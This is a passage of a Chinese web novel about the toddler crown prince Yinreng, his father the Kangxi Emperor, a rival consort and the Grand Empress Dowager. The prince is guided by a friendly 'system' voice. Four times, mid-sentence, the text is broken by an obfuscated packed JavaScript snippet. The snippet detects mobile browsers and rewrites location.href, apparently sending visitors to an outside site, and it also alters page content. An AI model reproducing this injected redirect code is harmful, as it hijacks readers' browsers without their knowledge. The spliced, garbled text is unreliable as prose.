她手中的团扇被捏得咯吱作响，扇骨几欲变形。 佟佳氏告诉自己不要同一个孩子计较，强行压下心中怒气，挤出一抹僵硬的笑：“殿下，本宫是你的庶母，何必多此一礼？” 谁知胤礽压根不接这茬，只是歪着小脑袋，奇怪地看了她一眼。 胤礽语气半点不含糊：“孤是太子，礼不可废。” 他还清晰记得阿玛上次教他的规矩，阿玛说，在这宫里，他是储君，除了皇阿玛和太皇太后，谁都受不起他的跪拜。 更何况，眼前这位佟佳贵妃，他前前后后也没见过几次，连面都不熟。 想到这里，他那双乌黑的眼珠子转了转，带着几分天真的倨傲，又补了一句，“况且，孤都没见过你。” 小太子声音不大，却字字清晰地落在佟佳贵妃耳中。 佟佳贵妃脸上的笑险些维持不住，心里像是吞了只活苍蝇似的恶心。 没想到太子年纪不大，却句句戳人心口，一句话就把她噎得进退两难。 若是真的不给太子行礼，传出去会说她恃宠而骄，不把储君放在眼里；可若是真的屈尊行礼，她这贵妃的面子又往哪儿搁？ 就在这尴尬时分，不远处忽然传来荣宪脆生生的呼唤：“太子弟弟，我回来啦！” 荣宪一路小跑着过来，身后还跟着陈嬷嬷与几位宫人。 她原本兴冲冲的，结果一眼看见对面那华贵的贵妃与小太子对峙着，立刻停下了脚步。 胤礽一见来了熟人，顿时把小胸膛挺得更高，一本正经地朝荣宪告状： “二姐姐，她见到孤，不行礼。” 说着还特意看了眼陈嬷嬷，像是在寻求认同：“而且阿玛说过的，宫规不可废，对不对？” 荣宪年纪虽小，却也隐隐感到情形不妙。她偷偷瞄了眼佟佳氏，见贵妃笑容勉强，面色僵硬，心里“咯噔”一下，不由地紧张起来。 陈嬷嬷面色一白，刚想上前把胤礽抱回来，却被贵妃身侧的大宫女不着痕迹地拦了下来。 而小宫人们则个个垂首屏息，恨不得把自己缩进地缝里。 荣宪赶紧走上前，轻轻拉了拉胤礽的袖子，小声劝道：“太子弟弟，咱们去看花吧？方才我瞧见那边的花开得可好看了。” 她想把这事糊弄过去，可胤礽却不依，依旧睁着圆溜溜的眼睛盯着佟佳氏，像只炸了毛的小狮。 明明眼神还带着孩童的稚嫩，却透着股天生的威势，半点不让步。 佟佳氏看着眼前这情景，知道今天这事若是不低头，恐怕是过不去了。 她心里恨得牙痒痒，却又无可奈何，只能低低地叹口气，缓缓俯身，行了个标准的宫礼，声音里带着几分不甘：“臣妾见过太子殿下。” 在宫人们的暗自抽气声中，胤礽这才满意地“嗯”了声，又学着康熙的模样，小手还煞有介事地摆了摆： “起来吧。下次记着就好。” 他转过身，拉着荣宪的手腕就往花丛里扎，跑的时候还不忘回头，飞快瞥了眼佟佳氏紧绷的背影，嘴角偷偷勾了下。 佟佳氏目送着那两个小身影远去，面上温婉尽褪，眼中几乎要喷出火来。 她心中暗恨：不过是赫舍里那女人留下的逆子，竟敢如此嚣张！ 她咬紧牙关，暗自发誓：等着瞧吧，等本宫生下表哥的皇子，看你这小太子还能威风多久！ 御花园里的这场小风波，没一会儿就传到了乾清宫。 康熙正坐在龙案后批阅奏折，梁九功轻手轻脚地走进来，把事情的来龙去脉绘声绘色地说了一遍。 “……奴才听说，太子殿下当面让佟佳贵妃行了礼。” 康熙听着，只是不冷不淡地 “嗯” 了一声，手上的朱笔半点没停，依旧在奏折上批注着，看不出喜怒。 梁九功站在一旁，大气都不敢喘，悄悄观察着皇上的神色。 他跟了皇上这么多年，也摸不准皇上此刻心里在想什么。 一直到窗外的天已经完全黑了下来，烛台也积了厚厚蜡泪，敬事房的小太监捧着绿头牌走进来。 他跪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16553977|186846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在地上，轻声道：“皇上，该请旨翻牌子了。” 康熙扫了眼托盘里的绿头牌，手指在上面顿了顿，却迟迟没有动作。 小太监跪了半天，见皇上没反应，忍不住又小声唤了句：“皇上？” 康熙看了他一眼，那眼神淡淡的，却带着不容置疑的威严。 小太监顿时吓得闭了嘴，头埋得更低了。 过了片刻，康熙才随手拿起一个绿头牌，又轻轻放了回去，轻描淡写地说道： “最近入秋了，天气转凉，佟佳贵妃身子弱，就先在宫里好好养着吧，不用过来了。” 小太监愣了一下，还想再说些什么，却被一旁的梁九功暗暗拉了把袖子。 梁九功给了他一个警告的眼神，示意他别多嘴。 等小太监退出去后，梁九功才凑上前，笑着说道：“皇上，天儿凉了，奴才给您换杯热茶去？” 说着，就端起桌上的凉茶杯，快步走了出去。 刚出乾清宫的门，梁九功就忍不住呵斥那小太监：“你师傅是怎么教你的？皇上的心思也是你能揣度的？有几条命敢催皇上翻牌子？” 小太监吓得脸色发白，连忙磕头认错。 梁九功瞥了眼他手里的托盘，绿头牌上写着惠嫔、敬嫔、僖嫔等人的名字，而最上面那一块，赫然是佟佳贵妃的。 他心里顿时咯噔一下，暗道还好自己拦着了。 皇上这明显是护着太子，迁怒了佟佳贵妃，这时候谁要是敢替佟佳贵妃说话，那不是往枪口上撞吗？ 他赶紧把小太监打发走，又派人去东暖阁打听太子的动静，这才转身回了乾清宫，重新给康熙泡了杯热茶。 “万岁爷，您慢用。” 梁九功把茶杯放在康熙手边，犹豫了一下，还是小声问道，“今晚…… 要不要传哪位主子过来侍寝？” 康熙端起茶杯，轻轻吹了吹热气，问道：“太子在东暖阁做什么呢？” 梁九功心里一喜，赶紧笑着回道：“太子殿下正在东暖阁里瞧画册呢，瞧着精神头挺好的。” 眼见天子唇角微扬，他趁机凑趣：“要不奴才去传个话？” “就你机灵。”康熙笑骂一句，指节轻叩案面，“让他亥时一刻安寝，莫仗着朕这几日忙就胡闹。” 梁九功嘿嘿笑了两声，不敢再多话，悄悄退到一旁侍立着。 5. 第5章 东暖阁里，胤礽盘腿坐在软榻上，一双圆溜溜的眼睛眨也不眨得盯着眼前的画册看。 在那些宫人眼里，这是太子殿下小小年纪就如此好学。 实际上，胤礽的面前悬着一块半透明的光板，上面密密麻麻罗列着各种颜色鲜艳的小图案，正是系统为他筛选的“幼儿启蒙系列动画片”。 此刻屏幕上，一群拟人化的小动物正蹦蹦跳跳地唱歌，一侧则是罗列着一些常用字。 “左边一步、右边一跳～” 小熊举着花环每念出一个字就扭一下，节奏轻快，连胤礽都忍不住摇头晃脑地跟着点了几下脚。 他看得入神，跟着小熊一起念字，笑得小牙都露出来，整个人软乎乎的，像被捏成团的糯米团子。 可没多久，光板闪了闪，忽然跳出一个笑脸表情。 【宝宝今日观影时间已经到了，休息一下吧。】 胤礽一愣，小脸立刻皱成一团：“不要嘛……” 他白嫩的小手偷偷去点继续播放的按钮，声音软软的，“好小七，再看一集，就一集好不好？” 【遵循劳逸结合，好宝宝看动画片要适度，不然会变成小四眼。】 光板上的笑脸一歪，紧接着跳出一个带着厚厚眼镜的小男孩，镜片闪着白光，眼睛被放大得像铜铃，滑稽又诡异。 胤礽“噗嗤”一笑，下一秒却被那双放大的眼睛吓得一哆嗦，连忙往后一仰。 “呜……不看了！”他忙不迭地摆手，小手飞快在光板上一划。 动画片“啪”地一声消失，屏幕归于透明。 胤礽眨了眨眼，有点小不舍地摸了摸空气。 他忽然坐直了身子喊：“陈嬷嬷，帮孤把这些东西都收了吧。” 胤礽指了指榻前那一摞画册。 陈嬷嬷笑着上前，温声应道：“是，殿下。” 胤礽抱着软枕在榻上滚了两圈，像只小猫打滚似的，他觉得有些口干，又扬声唤道：“陈嬷嬷，孤要喝水！” 陈嬷嬷很快端来一杯温热的蜜水，轻声劝道：“殿下，慢些喝，仔细夜里积食。” 胤礽却不管不顾，“咕咚咕咚”将一整杯水都喝了个精光。 喝完水，他忽然想起什么，盯着陈嬷嬷问：“嬷嬷，孤刚才是不是听到了梁谙达的声音？” 陈嬷嬷笑眯眯地答：“是的，殿下。方才梁公公来说，今晚万岁爷要陪您一起歇下。殿下方才看画册太认真，都没听清呢。” “真的？” 胤礽嘴角忍不住翘了起来，那点因为动画片被关掉的小小失落，立刻一扫而空。 “阿玛要来陪孤睡觉！”他小声念着，声音里透着抑制不住的欢喜。 阿玛……他已经好久没见到阿玛了。 他从榻上滑下来，光着脚丫在暖阁里跑来跑去，嘴里哼着不成调的小曲儿，时不时踮起脚往门口张望。 可左等右等，门外还是静悄悄的，连个脚步声都没有。 胤礽的小眉头一点点皱了起来，嘀咕道：“阿玛怎么还不来呀……” 陈嬷嬷轻声劝：“殿下别急，万岁爷政务繁忙，晚些就会来了。” 胤礽嘟囔着：“阿玛忙，孤也忙啊……孤今天认识好多字了呢。” 说完又有些得意，扯着被角笑了笑，笑着笑着眼皮就打起架来。 幼儿的精力终究有限，没过多久，他便抱着枕头，沉沉睡了过去。 胤礽梦见自己站在一条长长的宫道上，四周雾气朦胧。前方，康熙明黄色的身影若隐若现，正不紧不慢地往前走。 "阿玛——" 他迈着小短腿往前跑，可不管怎么跑，都离阿玛差着一截。 “阿玛——等等保成！” 他使出全身力气往前扑，终于扑进那熟悉的怀抱，整个人都松了下来。那一瞬间，他觉得浑身都暖和了。 康熙回到东暖阁的时候，一眼就瞧见床踏上蜷成一团的小家伙。 胤礽睡得正香，小脸蛋红扑扑的，嘴角微微张着，像是梦见了什么好吃的，吧唧了两下嘴。 “这孩子......” 康熙瞧着这模样，低笑一声，眉眼间的威严也柔和了几分。他蹑手蹑脚地上了床，生怕惊醒了这小祖宗。 刚躺下，就见胤礽像是寻着热源般，小身子轻轻往他这边靠了靠，脑袋还往他臂弯里蹭了蹭。 他心下一软，顺势伸臂把人搂进怀里，手掌轻轻覆在太子的后背上。 怀中人温热的呼吸落在自己颈间，连白日里处理政务的疲惫都消散了大半。 不知过了多久，他感到胸前传来一阵热乎乎的，细微的湿意。 康熙皱了皱眉，半梦半醒间也没多想，只当是胤礽又犯了老毛病。 这孩子小时候睡觉就爱流哈喇子，每次都把他的龙袍前襟蹭得湿漉漉的。 罢了罢了，小孩子家家的，流点口水算什么大事。 他迷迷糊糊地想着，又习惯性地拍了拍儿子的背，闭着眼正要再睡。 可那湿意却不依不饶，顺着衣襟一路往下蔓延，腰腹那儿都凉飕飕的，连里衣都被浸透了。 这下，康熙彻底睡不下去了。 他皱着眉睁开眼，带着几分无奈又几分狐疑。 一低头就瞧见胤礽整个人像只八爪鱼似的扒在他身上，小脸蛋埋在他胸口，只露出个毛茸茸的后脑勺。 小屁股还撅得老高，睡梦中还不安分地蹬了蹬腿，连带着盖在身上的锦被都被拱得乱了些。 康熙无奈地摇了摇头，伸手想把人往旁边挪开些。 小东西压着自己也不知道难受，万一闷着了可怎么好。 可手刚碰到太子的小衣，触感却是一片湿凉，凉得他指尖一颤，登时清醒了大半。 这可不是哈喇子！ 康熙的动作猛地顿住，心里隐隐窜起些不好的预感。他小心地掀开自己的衣襟，借着床头那点微弱的光线低头看去。 果不其然，胤礽的裤子湿了大半，连被子底下都洇了一片。 康熙低头看着怀里的小团子，脸色一黑，最后还是没忍住，抬手在他小屁股上轻拍了一下。 “小混蛋。”他又气又笑地骂了一句，“快点起来。” 那巴掌倒不重，却拍得正巧，胤礽“唔”了一声，皱着眉迷迷糊糊睁开眼，小脸还一副懵懵的模样。 他张嘴就要哭，被康熙眼疾手快，一把捂住嘴。 “嘘——” 康熙凑到他耳边，声音压得低低的，眼底却闪着促狭的光， “你想让外面当值的宫人都知道，咱们太子殿下半夜给朕‘画龙图’了？” 胤礽被他一吓，眼泪还挂在睫毛上，愣愣地看着他。过了半晌，他反应过来画龙图是什么。 他小手扒拉着康熙的手腕，好不容易挣开点缝隙，立马扁着嘴反驳：“阿玛撒谎。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16553978|186846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 康熙似笑非笑地挑了挑眉：“嗯？” 小太子抿着唇，气鼓鼓地挺起胸，一副正气凛然的模样：“保成已经是大孩子啦！” 他伸出三根手指，强调着，“保成三岁了！尿床那是小时候才会做的事情！” “哦？大孩子了？” 康熙伸手指了指自己身前那片深色痕迹，又指了指床单上晕开的一小片湿印， “那朕身上这……还有这，是什么？天上掉下来的露水吗？” 胤礽顺着他的手指看过去，眨巴了两下眼睛，下一秒就哼了一声，昂着头，一脸理直气壮： “阿玛羞羞脸！明明是自己尿床，还想怪到保成身上，太坏了！” “……” 康熙一时间无言以对，眉心轻跳。 父子俩你一句我一句地争论起来，一个声调奶气，一个一本正经。 一大一小在被窝里互相瞪眼，偏偏谁也不让步。 吵了没一会儿，康熙抬眼瞥了眼窗外，夜色依旧浓重，漏壶的水滴声提醒着时间不早了。 他无奈地叹了口气，伸手捏了捏胤礽气呼呼的脸颊：“行了行了，不跟你争了，再吵下去，天都要亮了，咱们俩都别想睡了。” 胤礽还想再说什么，却被康熙一眼瞪了回去，只能不甘心地撅了撅嘴，小脑袋却悄悄往康熙身边靠了靠。 康熙瞧着他这副模样，哪里还真跟他计较，只能认下这个亏，扬声吩咐外面值守的宫人准备热水进来。 没多久，宫人们就将两桶热水送进了内间，氤氲的热气弥漫开来，带着淡淡的艾草香。 胤礽被泡在温水中，像只白白嫩嫩的小汤圆，却还不忘扒着桶沿，继续为自己正名：“阿玛，你看，保成真的没有尿床哦！保成最乖了！” 康熙一边任由宫人伺候着擦拭身体，一边漫不经心地敷衍着闹腾的儿子：“是是是，我们保成最乖了，是梦里不小心，行了吧？” 胤礽听着他这不走心的回应，小嘴又撅了起来，却也没再反驳，只乖乖地任由宫人们帮他清洗。 等两人洗漱完重新躺回床上，胤礽没过一会儿就抵不住困意，窝在康熙怀里睡着了，呼吸均匀而温热。 待到第二日胤礽醒来，身边早已空了，康熙已去上早朝。 胤礽在心里悄声叫着：小七，小七。今天我们有什么任务嘛? 【系统任务都是随机发放的，当前主要目标是让宝宝健康快乐得长大。所以宝宝想干什么都可以，系统只是作为辅助来帮助你调整的。】 “那我们去乌库妈妈那边吧。” 【宝宝，你不去找弟弟和姐姐玩了吗？】 昨天御花园玩好后，胤礽还答应二格格今天要再去钟粹宫。 胤礽一骨碌爬起来，任由宫人给他穿小衣服，小脑袋晃了晃，很有规划地说：“乌库妈妈那里要去，去完乌库妈妈那边以后再去荣嫔娘娘那儿。” 他掰着手指头，“保成都好几天没见过乌库妈妈了，可想可想她了！” 说完，他顿了顿，眼底闪过一丝狡黠的光，声音压得低低的，却难掩兴奋， “而且最重要的是，孤要把阿玛昨天晚上尿裤子的事情，告诉乌库妈妈！让乌库妈妈说说阿玛，明明是大人了，还尿床，太丢人啦！” 【......】 康熙若是知道自己堂堂天子，第二天早上还要被自家崽“举报”，怕是能气得再尿一次。 6. 第 6 章 太皇太后年纪已过六旬，鬓角虽染霜华，精神却仍矍铄。 平日里她惯早起，今日却因多眠了半刻，便免了各宫妃嫔的晨省。 此刻，她正由苏麻喇姑在一旁伺候着用早膳。银碗中盛着温粥，香气袅袅。 太皇太后刚用银调羹舀了小半勺粥，忽听殿外传来一阵清脆的笑声。 那笑声稚嫩又响亮，带着孩童独有的天真劲儿。 “乌库妈妈，保成来看您啦——！” 未见其人，先闻其声。 太皇太后眼角的细纹也被笑意抹平了几分，她放下调羹，声音里透着几分慈爱：“苏麻喇姑，去看看，是不是咱们太子来了？” 苏麻喇姑笑着应了声“嗻”，快步迎了出去。 殿外阳光正好，一个小团子正被陈嬷嬷抱在怀里。 小家伙穿着件石榴红的撒花软缎袄子，领口袖口都滚着一圈雪白的狐裘。 因是秋日，衣料稍微厚了些些，将他裹得圆滚滚的。 小脑袋上戴着一顶缀着红缨的瓜皮帽，衬得那张小脸愈发白嫩圆润，让人忍不住想捏一捏他那粉嘟嘟的脸颊。 胤礽正挣扎着从陈嬷嬷怀里溜下来，双脚刚一沾地，就规规矩矩地向苏麻喇姑行礼：“苏麻嬷嬷安好。” “哎呀，咱们的小太子今儿个可俊俏极了。” 苏麻喇姑是太皇太后从科尔沁带来的老人，与主子年岁相仿，在宫中也是有几分薄面。 她见状连忙上前，想将小太子抱起来：“殿下快让奴才抱您进去，外头风大。” 胤礽却摇着头，一本正经地板着小脸：“不要抱抱，保成自己走。被抱着见乌库妈妈，不像话。” 苏麻喇姑忍不住笑出声来，忙俯身替他理了理领口，语气温柔：“那奴才牵着您进去，可不能让您摔着。” 小家伙这才满意地点点头，将软乎乎的小手塞进苏麻喇姑掌心。 刚进暖阁，太皇太后早已张开了胳膊，笑吟吟地等着：“哀家的保成来啦，快到乌库妈妈这儿来。” 胤礽迈着小短腿，摇摇晃晃地走到榻前， 胤礽眼睛一亮，挣开苏麻喇姑的手就朝软榻跑，小靴子在金砖上磕出 “哒哒” 的响。 他跑到榻边时还不忘稳住身形，像模像样地打了个千儿：“保成给乌库妈妈请安。” 只是袄子实在太厚，胤礽弯腰时整个人都晃了晃，像颗要滚倒的小汤圆。 太皇太后连忙把他抱进怀里，伸手摸了摸他的小脸蛋，又掖了掖他敞开的袄领：“外头冷，怎么不多穿件衣裳？” 苏麻喇姑端着杯温好的蜂蜜水过来，笑着插话：“格格您不知道，方才在廊下，太子爷说什么都不肯让人抱，非要自己走进来给您行礼呢，说要像个太子的样子。” “哦？咱们保成这么厉害？” 太皇太后故意瞪大了眼睛，捏了捏他的小鼻子，“果然是大了，越发有太子的模样了。” 胤礽被她一夸，小脸一下红了，眼珠子转了转，嘴角微微抿着。 太皇太后看他那小模样，笑着摇头，转头吩咐苏麻喇姑：“去，让人把哀家那串珍珠佛珠拿来，让太子殿下带着玩。孩子手巧，得摸摸这些福气物。” 苏麻喇姑笑着应下。 胤礽见状，两只小手攥紧了太皇太后的袖子，眼神里满是期待。他其实不太懂什么“福气物”，只是觉得太皇太后给的，一定是最好的。 胤礽小手拍了拍自己的袄子，嘿嘿笑道：“那是！保成长大了呀。” 他声音软乎乎的，带着点困惑，“不过乌库妈妈，保成觉得，阿玛好像变小了呢！” 这话一出，太皇太后愣了愣，她垂眸看着跟前仰着小脸的重孙，眼角的皱纹里满是诧异。 皇上都快二十好几的人了，怎么在孩子眼里还能 “变小”？ 刚要退出去的陈嬷嬷和苏麻喇姑都顿住了脚步，疑惑地看向小家伙。 胤礽却没察觉，小手拉着太皇太后的衣襟，凑到她耳边神秘兮兮地说：“乌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16553979|186846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 库妈妈你别告诉阿玛呀。昨个儿阿玛尿床了，醒来还非说是保成做的呢！” 太皇太后闻言，忍着笑，将胤礽往怀里搂了搂，压低声音配合着重孙子：“哦？竟有这等事？快仔细跟乌库妈妈说说。” 胤礽见乌库妈妈信了自己，还这般重视，立刻来了精神。他跪坐起来，小手比划着，小脸上一副“你可问对人了的”小表情。 “就是昨儿晚上，阿玛说好来陪保成睡觉的，保成可乖了，自己先睡着了，后来就感觉……感觉床上湿湿的，凉凉的，醒来一看，阿玛的衣服都湿了一大片呢！被子也潮潮的！” 太皇太后终于没忍住，“噗嗤”一声笑了出来，赶紧用帕子掩住嘴。旁边的苏麻喇姑和陈嬷嬷也是肩膀微颤，强忍着不敢笑出声。 “哎哟，哀家的乖孙哟，你怎么这么可人疼！好好好，乌库妈妈知道了，是你阿玛不对，自己做了坏事，还赖在我们好孩子头上，乌库妈妈回头说说他！” 胤礽目的达到，心满意足地窝在太皇太后怀里，小脸蹭了蹭，还不忘叮嘱：“乌库妈妈您悄悄说就好啦，别让太多人知道，阿玛……阿玛也是要面子的呀！” 陈嬷嬷和苏麻喇姑对视一眼，眼中尽是笑意，看来万岁爷这“画龙图”的趣事，是要在慈宁宫内部流传好一阵子了。 笑了好一会儿，太皇太后拍拍胤礽小手，不由得感慨：“你这一本正经的小模样，倒是跟你阿玛小时候一模一样。” 胤礽立刻来了精神，缠着太皇太后问道：“乌库妈妈，阿玛小时候也这样吗？您快讲讲！” 太皇太后见他兴致高，便挑了几件康熙幼时的趣事：“你阿玛小时候淘得很，偷跑去御花园掏鸟蛋，还掉进荷花塘里，浑身都是泥，吓得宫女们哭成一片。” 小太子咯咯直笑，在太皇太后怀里滚作一团。 正说得热闹，门外忽然传来小太监尖细的声音： “皇上驾到——” 话音刚落，殿门被掀开，康熙大步走了进来。 7. 第 7 章 他一身朝服还未换下，眉宇间犹带着几分朝堂之上的威严。 下朝后本想去偏殿陪儿子用早膳，却扑了个空，听闻太子来了慈宁宫，便转道而来。 “孙儿见过玛嬷。” 康熙走到软榻前，规规矩矩地行了个礼，目光却不由自主地落在太皇太后怀里的小家伙身上，眼底的威严瞬间柔了几分。 太皇太后笑着拍了拍身边的空位：“皇帝今儿怎么有空来哀家这儿？往常这个时候，你不是该在乾清宫批奏折了吗？” “孙儿是来寻保成的。” 康熙坐下，苏麻喇姑连忙递上一杯温茶，他接过喝了一口，“方才在外头就听见你们笑得热闹，玛嬷和保成这是说什么趣事呢？” 胤礽原本还靠在太皇太后怀里笑，一听这话，小身体瞬间僵了僵，偷偷抬眼瞄了康熙一眼，连忙把求救的目光投向太皇太后。 太皇太后瞧着他那副模样，心里好笑，故意咳嗽了两声。 康熙果然立刻转了注意力，皱着眉问：“玛嬷怎么咳嗽了？可是身子不适，要不要传太医来瞧瞧？” “无妨，老太婆的身子自己清楚。”太皇太后摆摆手，关切道，“倒是皇帝，日日忙着朝堂上的事，才该好好歇歇，该多顾着自己些。” 康熙点头：“孙儿自会记得。” 太皇太后语气一转：“说起来，皇帝今天倒是放心得很，让太子一个人来哀家这儿。他才这么点大，路上要是摔着碰着了怎么办？你这个阿玛，怎么当的？” 康熙一愣，还没开口，胤礽连忙从太皇太后怀里坐直了身子，小手摆得飞快，急急地抢着为他辩解：“不是阿玛的错！是保成要自己来的，阿玛太忙了，我不想他分心。” 康熙原本还带着几分愧疚，一听儿子这话，心里瞬间暖得发烫，伸手摸了摸胤礽的小脑袋，眼底满是温柔。 太皇太后瞧着这对父子，打趣道：“瞧瞧，哀家倒成了你们父子俩之间的坏人了。” 康熙不好意思得笑了笑，假装拱手：“孙儿不敢。” 康熙又坐了一会儿，却没提走的事。 太皇太后看康熙迟迟不走，神情微讶：“皇帝今日不去批折子吗？” 往常玄烨来这儿，要么是陪她唠两句家常，要么是接胤礽走，从没有像今天这样坐立不安的样子。 她看了眼康熙，又瞧了瞧正玩着她衣襟上玉佩的胤礽，心里顿时明白了几分。 太皇太后看向苏麻喇姑：“带太子下去歇歇吧。” 胤礽有些不舍，扭头看了几眼，还是被轻声引着退了出去。 殿内静下来，太皇太后这才低声问：“说吧，出了什么事？” 康熙这才将昨日佟佳氏借故接近太子的事娓娓道来。 太皇太后听完，缓缓点头，神色平静，似早已心中有数。 “这事，哀家早听苏麻喇姑提过。”她轻轻拨弄着手中佛珠，目光半垂，语气淡淡，“本不想说什么，但如今你既提了，那便是心里也有怨气了。” 她叹了口气：“佟家这是想再出一个皇后，想把保成攥在手里呢。” 康熙沉默片刻，眉目间一闪而过的冷意很快被他收敛。 他低声应道：“玛嬷明察。朕……也正是为此事而烦心。” 太皇太后看着他那神情，心中微动，缓缓问道：“那皇帝打算如何？” 康熙抿了口茶，语气沉稳：“太子年纪尚小，朕打算亲自抚养。” 他顿了顿，目光扫向殿外，仿佛能看见胤礽那蹦蹦跳跳的小身影，语气里透出一丝柔和：“保成这孩子，朕得亲自看着，才能放心。” 太皇太后挑了挑眉，略带讶异地问：“现在不就是在养着吗？保成这小家伙，哪天不在你跟前闹腾？” 她语气虽带着揶揄，心里却暗暗思量：皇帝这番话，怕是有更深的打算。 康熙摇头，站起身，负手踱了两步，声音低沉却坚定：“先前保成一直在各宫轮着住，朕本是想着让他多亲近亲眷，可如今……” 他顿了顿，眼中闪过一抹冷意， “朕打算从今往后，就让他一直留在乾清宫，跟朕住在一起。也省得旁人打着算盘，把主意打到太子头上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16553980|186846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 太皇太后默默听着，拇指摩挲着佛珠，发出细微的“嗒嗒”声。 良久，她才叹了一声：“你是打算护他，可太子失母，你又是个大男人，能细心照顾到几分？再说朝廷政务繁重，你哪能事事亲为？” 她语气缓和，却隐隐带着担忧，“不如把保成放在哀家这儿，慈宁宫清静，哀家还能多疼他几年。你只管安心理政。” 康熙闻言，脸上闪过一丝笑意，眼中却带着几分坚持。 他走回太皇太后身旁，半蹲下身，语气温和却坚定：“玛嬷您放心，保成这孩子好带得很，又黏人，朕应付得来。” 他顿了顿，目光里多了几分温情：“再说，您年纪大了，保成那小猴儿闹腾起来，朕怕他扰了您的清净。” 太皇太后看着他眼底的坚定，知道自己这孙子是铁了心了。 她沉默了片刻，轻轻拍了拍玄烨的手：“你心里有数就好。只是哀家要提醒你一句，等太子长大了，你莫要像对旁人那样猜忌他、试探他。 你要记着，这孩子跟别人不一样，他自小没了额娘，眼里心里，就只有你这个阿玛。保成的命，是靠你护的。世上能护他的人，也只有你。” 她说到这儿，目光直直落在康熙身上，带着几分长辈的威严与期盼。 康熙心里一动，太皇太后话语中的深意让他心绪微澜，但那份被应允和信任的喜悦随即充盈心间。 他郑重应道：“玛嬷放心，朕知道。朕会和保成做天底下最好的父子，绝不会让他受委屈。” 太皇太后看着康熙，轻轻叹了口气，没再多说，只是缓缓闭上了眼睛。 这是要赶客的意思了。 康熙连忙站起身，又行了个礼：“那孙儿就不打扰玛嬷休息了，孙儿先告退。” 他转身离开，步伐稳重，却带着几分不易察觉的轻快。 等康熙走后，太皇太后才缓缓睁开眼睛，眼底满是复杂。 皇家父子，哪有那么容易做 “最好”？ 只盼着玄烨日后，能记得今日说的话吧。 8. 第 8 章 慈宁宫后头的小花园里，阳光正好，晒得人浑身暖洋洋的。胤礽趴在苏麻喇姑肩上，小脑袋一点一点的，差点就要睡着了。 忽然听见窸窸窣窣的动静，他揉揉眼睛，看见几个小太监正蹲在花圃边上，拿着小铲子不知在捣鼓什么。 胤礽歪着头，瞧得入了神。 花盆周围的泥土被翻得松软，偶尔还有几块零散的泥土块被挖出来，堆在一旁。 他眨了眨眼，心想：这是在做什么？种花还需要这样挖来挖去吗？ 胤礽好奇心一下子被勾了起来，他忍不住问："苏麻姑姑，他们干嘛呢？" 苏麻喇姑顺着他的目光瞧过去，温和得笑了笑：“格格近日想种些西洋来的新花，便把人那些旧的花根挖出来，好给新花腾地方。” 苏麻喇姑口中的格格，便是太皇太后。 这般称呼透着老祖宗跟她之间才有的亲昵。 胤礽“哦”了一声，似懂非懂地点点头，小脸上却满是好奇。 他伸长脖子，朝花盆那边张望，恨不得立刻凑过去看个究竟。 “姑姑，我想过去看看。”他扭头看向苏麻喇姑，眼睛里满是期待。 苏麻喇姑宠溺的笑了笑，只好把他放下来，牵着他的小手走近些。 胤礽的小短腿迈得飞快，拽着苏麻喇姑的手往前冲。 到了近前，他才发现地上散落着几个圆滚滚的泥土块，瞧着有些像小石头，却又比石头软和。 胤礽蹲下来，瞪大眼睛盯着，这东西长得怪模怪样的，他从来没见过。 几个小太监一见太子殿下驾到，连忙放下手里的活儿，齐刷刷地跪下请安：“奴才给太子殿下请安！” 胤礽摆了摆手，示意他们起来，小眼神却直勾勾地盯着地上的泥土块。 他指着最大那块问：“这是什么？” 一个小太监赶紧回道：“回太子殿下，这是花的块茎。每年秋天都要挖出来，不然种下去的新花就开不好。” 【宝宝，这个是土豆，可以吃的哦！】 胤礽脑子里突然冒出小七的声音，他一愣，土豆？什么土豆？ 他在小花园里瞪大了眼睛四处看，除了几朵孤零零的花和这些不起眼的泥土块，哪有什么新奇玩意儿？ 胤礽的目光又落回那些泥土块上，皱着小眉头，心里犯起了嘀咕：这灰扑扑的东西，真的能吃吗？不会是小七又在逗他玩吧？ 他伸出小手，想捏起一块泥土块瞧瞧，可那块茎上沾满了泥土，脏兮兮的，让他有点嫌弃。 